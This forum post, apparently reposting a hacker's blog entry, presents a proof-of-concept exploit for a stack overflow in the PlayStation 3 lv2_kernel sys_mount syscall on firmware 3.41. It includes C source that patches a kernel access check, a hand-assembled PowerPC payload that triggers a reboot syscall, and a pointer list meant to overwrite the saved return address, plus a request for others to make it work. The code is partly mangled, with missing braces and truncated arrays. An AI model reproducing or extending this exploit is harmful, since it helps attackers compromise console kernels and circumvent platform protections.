Jump to content
Sign in to follow this  

PS3 LV2_Kernel Exploit Sample Implementation By Naehrwert

Recommended Posts

Posted Image

Following up on his PS3 SCETool update and PS3 Dump_Rootkey code, today Sony PlayStation 3 hacker Naehrwert has posted some details on exploiting the PlayStation 3 lv2_kernel and has made available a sample 3.41 implementation below.

To quote from his blog: Exploiting (?) lv2

A long while ago KaKaRoTo pointed me to a stack overflow he found while reversing lv2_kernel. But there are two problems:

1. The vulnerability is in a protected syscall (the SELF calling it got to have the 0x40... control flags set). So you'd first need to find a suitable usermode exploit (don't ask us), that gives you code execution with the right privileges.

2. The payload data is copied to lv2 heap first and the function will do a free call on it before the payload has any chance to get executed. This might not sound like a problem but it looks like lv2′s heap implementation will overwrite the free'ed space with 0xABADCAFE and thus destroy the payload.

Here (pastie.org/4755699) is my sample implementation for 3.41 lv2_kernel (although the vulnerability should be present in all versions of lv2 up to the latest firmware), maybe someone of you will find a way to overcome problem (2.) and can get something nice out of it because right now it's only good to crash lv2.


* lv2 sys_mount stack overflow

* Original finder: KaKaRoTo (thank you for pointing it out!)

* Note: all offsets/values/addrs in this source are 3.41 specific


#include <stdio.h>

#include <ppu-types.h>

#include <ppu-lv2.h>


unk2, unk3 is what we're going to use here.

lv2 will handle unk2, unk3 like this:

char *strlist[FIXED_SIZE]; //On stack.

for(i = 0; i < unk3; i++)

strlist = strdup_from_uspace(*unk2++);


static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/,

u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/)


lv2syscall8(837, (u64)dev, (u64)fs, (u64)path,

(u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3);



//For testing.

static void patch_access_check()


//check_access @ 0x80000000000505D0

//li r3, 1 ; blr

lv2syscall2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL);

printf("[*] DEBUG: access check patched.\n");


int main(int argc, const char **argv)


//Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set.

//Solution: Find a usermode exploit in a SELF that has them set.

//Patch the ctrl flags check for testing.



char nop[] = "X";


char payload[] =


//Insert valid PPC code here (without 0x00 bytes)

//and hope lv2 heap 0x27 is executable and 0x04 aligned.

0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0

0x38, 0xE7, 0x01, 0x10, //addi r7, r7, 0x110

0x78, 0xE7, 0x83, 0xE4, //sldi r7, r7, 16

0x78, 0xE7, 0x07, 0xC6, //sldi r7, r7, 32

0x60, 0xE7, 0x91, 0x34, //ori r7, r7, 0x9134

0x7C, 0xE9, 0x03, 0xA6, //mtctr r7 ; 0x8000000000009134 (sys_sm_shutdown)

0x38, 0x60, 0x02, 0x10, //li r3, 0x210

0x38, 0x63, 0xFF, 0xF0, //addi r3, r3, -0x10 ; 0x200 (reboot)

0x7C, 0x84, 0x22, 0x78, //xor r4, r4, r4 ; 0

0x7C, 0xA5, 0x2A, 0x78, //xor r5, r5, r5 ; 0

0x7C, 0xC6, 0x32, 0x78, //xor r6, r6, r6 ; 0

0x4E, 0x80, 0x04, 0x20, //bctr

//End of payload.



//List containing the entries.

//stack frame size is 0x1C0

//strlist = framptr + 0xE0

//remaining stack frame size is 0xE0 (28 * 8)

#define LIST_LENGTH (28 + 2 + 1)

const char *list[list_LENGTH] =



//Overwrite stack with nop entries (0xE0 bytes).

nop, nop, nop, nop, nop, nop, nop, nop, //0x40

nop, nop, nop, nop, nop, nop, nop, nop, //0x80

nop, nop, nop, nop, nop, nop, nop, nop, //0xC0

nop, nop, nop, nop,


//Fill 0x10 bytes to reach saved r0.

nop, nop,


//Overwrite saved r0 with a pointer to our payload.




printf("[*] Taking the plunge...\n");

s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH);

printf("[*] Error: sys_mount returned (res = 0x%016lX).\n", (u64)res);

return 0;


The footer signature is still not checked upon npdrm self files execution as of 4.21.

Because kakaroto says something that doesn't make it true. Basically he found a check in 3.55 that was not even called and assumed they used it in 3.60+.

Of course they do whitelist npdrm now so even if the footer isn't checked you cannot run your own npdrm selfs signed with keyset lower than 0x0D making the whole debate rather pointless. Aditional checks are now performed on the actual file format as well such as the segment counter flag that needs to be set to 0x01 except for the very last segment.

Posted Image


Share this post

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

  • Create New...